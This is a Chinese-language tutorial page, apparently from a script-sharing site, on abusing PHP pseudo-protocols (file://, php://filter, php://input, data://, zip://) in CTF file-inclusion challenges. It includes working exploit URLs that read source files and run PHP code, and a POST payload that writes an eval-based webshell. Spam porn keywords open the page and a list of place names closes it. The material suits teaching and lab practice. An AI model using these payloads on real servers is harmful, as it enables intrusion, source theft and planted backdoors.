最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

php偽協(xié)議實(shí)現(xiàn)命令執(zhí)行詳情

 更新時(shí)間:2022年06月10日 16:03:57   作者:jcxj2934  
這篇文章主要介紹了php偽協(xié)議實(shí)現(xiàn)命令執(zhí)行詳情,文章圍繞主題展開(kāi)詳細(xì)的內(nèi)容介紹,感興趣的朋友可以參考一下

1.file://協(xié)議

條件:

allow_url_fopen : off/on
allow_url_include: off/on

作用:

用于訪(fǎng)問(wèn)本地文件系統(tǒng),在ctf中通常用來(lái)讀取本地文件

include() / require() / include_once() / require_once() 參數(shù)可控的情況下,即使導(dǎo)入非.php文件,如shell.txt ,依然按照php語(yǔ)法進(jìn)行解析,這是include()函數(shù)所決定的

說(shuō)明:

file:// 文件系統(tǒng)是php使用的默認(rèn)封裝協(xié)議,用于展示本地文件系統(tǒng)。

用法:

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext

示例:

1.file://[文件的絕對(duì)路徑和文件名]

http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

2.file://[文件的相對(duì)路徑和文件名]

http://127.0.0.1/include.php?file=./phpinfo.txt

3.http://網(wǎng)絡(luò)位置和文件名

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

2.php://協(xié)議

條件:

allow_url_open : off/on
allow_url_include: 僅 php://input ?php://stdin php://memory php://temp 需要on

作用:

php:// 訪(fǎng)問(wèn)各個(gè)輸入/輸出流 (I/O streams), 在ctf中經(jīng)常使用的是 php://filter 和 php://input

php://filter 用于讀取源碼
php://input 用于執(zhí)行php代碼

說(shuō)明:

php提供了一些雜項(xiàng)輸入/輸出(IO)流,允許訪(fǎng)問(wèn) PHP 的輸入輸出流,標(biāo)準(zhǔn)輸入輸出流和錯(cuò)誤描述符:

php://filter使用:

php://filter/read=convert.base64-encode/resource=[文件名]

php://input的使用:

http://127.0.0.1/include.php?file=php://input
?[POST DATA部分]
<?php phpinfo(); ?>

寫(xiě)入一句話(huà)

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

3.data://協(xié)議

作用:

php>=5.2.0 , 可以使用data://數(shù)據(jù)流封裝器,以傳遞相應(yīng)格式的數(shù)據(jù)。通常用來(lái)執(zhí)行php代碼

用法:

data://text/plain, ???

如:

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

4.zip:// & bzip:// & zlib:// 協(xié)議

作用:

zip:// & bzip:// & zlib:// 均屬于壓縮流,可以訪(fǎng)問(wèn)壓縮文件中的子文件,更重要的是不需要指定后綴名,可以修改為任意后綴名,如 jpg,png,gif,xxx等

示例:

1.zip://[壓縮文件絕對(duì)路徑]%23[壓縮文件內(nèi)的子文件文件名](# 的編碼為 %23)

壓縮 phpinfo.txt 為phpinfo.zip ,壓縮包重命名為 phpinfo.jpg ,并上傳

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2

壓縮phpinfo.txt 為phpinfo.bz2 并上傳(同樣支持任意后綴名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

壓縮phpinfo.txt 為phpinfo.gz 并上傳(支持任意后綴名)

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

總結(jié)

在ctf中常用的有data:// , php://input , php://filter ,file://

php://input ,data://用來(lái)執(zhí)行命令
1.php://input 的用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
2.data://用法
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
php://filter,file://用來(lái)讀取文件
3.php://filter用法
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(讀取php文件需要先加密以下才能讀出來(lái))
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file://用法
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

到此這篇關(guān)于php偽協(xié)議實(shí)現(xiàn)命令執(zhí)行詳情的文章就介紹到這了,更多相關(guān)php命令執(zhí)行內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

您可能感興趣的文章:

相關(guān)文章

  • php簡(jiǎn)單實(shí)現(xiàn)單態(tài)設(shè)計(jì)模式的方法分析

    php簡(jiǎn)單實(shí)現(xiàn)單態(tài)設(shè)計(jì)模式的方法分析

    這篇文章主要介紹了php簡(jiǎn)單實(shí)現(xiàn)單態(tài)設(shè)計(jì)模式的方法,簡(jiǎn)單分析了單態(tài)設(shè)計(jì)模式的構(gòu)成、實(shí)現(xiàn)與使用方法,需要的朋友可以參考下
    2017-07-07
  • PHP的PDO操作簡(jiǎn)單示例

    PHP的PDO操作簡(jiǎn)單示例

    這篇文章主要介紹了PHP的PDO操作,以簡(jiǎn)單示例形式分析了PHP操作PDO的簡(jiǎn)單連接,初始化及查詢(xún),插入等操作技巧,需要的朋友可以參考下
    2016-03-03
  • PHP實(shí)現(xiàn)自動(dòng)登入google play下載app report的方法

    PHP實(shí)現(xiàn)自動(dòng)登入google play下載app report的方法

    這篇文章主要介紹了PHP實(shí)現(xiàn)自動(dòng)登入google play下載app report的方法,較為詳細(xì)的講述了登陸下載APP及對(duì)應(yīng)的實(shí)現(xiàn)代碼,具有不錯(cuò)的實(shí)用價(jià)值,需要的朋友可以參考下
    2014-09-09
  • PHP_Cooikes不同頁(yè)面無(wú)法傳遞的解決方法

    PHP_Cooikes不同頁(yè)面無(wú)法傳遞的解決方法

    這篇文章主要介紹了PHP_Cooikes不同頁(yè)面無(wú)法傳遞的解決方法,需要的朋友可以參考下
    2014-03-03
  • php成功操作redis cluster集群的實(shí)例教程

    php成功操作redis cluster集群的實(shí)例教程

    這篇文章主要給大家介紹了關(guān)于php成功操作redis cluster集群的實(shí)例教程,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2019-01-01
  • PHP獲取中英混合字符串長(zhǎng)度的方法

    PHP獲取中英混合字符串長(zhǎng)度的方法

    這篇文章主要介紹了PHP獲取中英混合字符串長(zhǎng)度的方法,需要的朋友可以參考下
    2014-06-06
  • php繪圖之生成餅狀圖的方法

    php繪圖之生成餅狀圖的方法

    這篇文章主要介紹了php繪圖之生成餅狀圖的方法,涉及GD庫(kù)中imagefilledarc方法的使用技巧,需要的朋友可以參考下
    2015-01-01
  • PHP 快速排序算法詳解

    PHP 快速排序算法詳解

    其實(shí)快速排序之所以稱(chēng)之快速,就是因?yàn)?,冒泡排序是每次?duì)比只交換相鄰的兩個(gè)值的位置,這樣每個(gè)值要移動(dòng)到它最終的排序結(jié)果中所對(duì)應(yīng)的位置,可能需要很多次位置的變化。但是快速排序可在一次劃分中,就確定你選定的那個(gè)對(duì)比值在最終排序好的隊(duì)列中的位置。
    2014-11-11
  • PHP將整數(shù)數(shù)字轉(zhuǎn)換為羅馬數(shù)字實(shí)例分享

    PHP將整數(shù)數(shù)字轉(zhuǎn)換為羅馬數(shù)字實(shí)例分享

    本篇文章中小編給大家分享了一篇關(guān)于PHP將整數(shù)數(shù)字轉(zhuǎn)換為羅馬數(shù)字的知識(shí)點(diǎn)以及實(shí)例內(nèi)容,需要的朋友們學(xué)習(xí)下。
    2019-03-03
  • php判斷/計(jì)算閏年的方法小結(jié)【三種方法】

    php判斷/計(jì)算閏年的方法小結(jié)【三種方法】

    這篇文章主要介紹了php判斷/計(jì)算閏年的方法,結(jié)合實(shí)例形式總結(jié)分析了三種計(jì)閏年的判斷方法,需要的朋友可以參考下
    2019-07-07

最新評(píng)論

宜州市| 明光市| 普定县| 卢氏县| 龙川县| 武宣县| 攀枝花市| 阿荣旗| 桂平市| 武定县| 子洲县| 永泰县| 石屏县| 修文县| 江陵县| 平武县| 南宁市| 万全县| 嘉禾县| 呼图壁县| 东乌| 吴旗县| 犍为县| 仙游县| 城固县| 揭阳市| 青岛市| 错那县| 红河县| 北京市| 兴义市| 中江县| 瑞昌市| 曲松县| 那坡县| 许昌县| 禹城市| 莱州市| 夏邑县| 蚌埠市| 庆安县|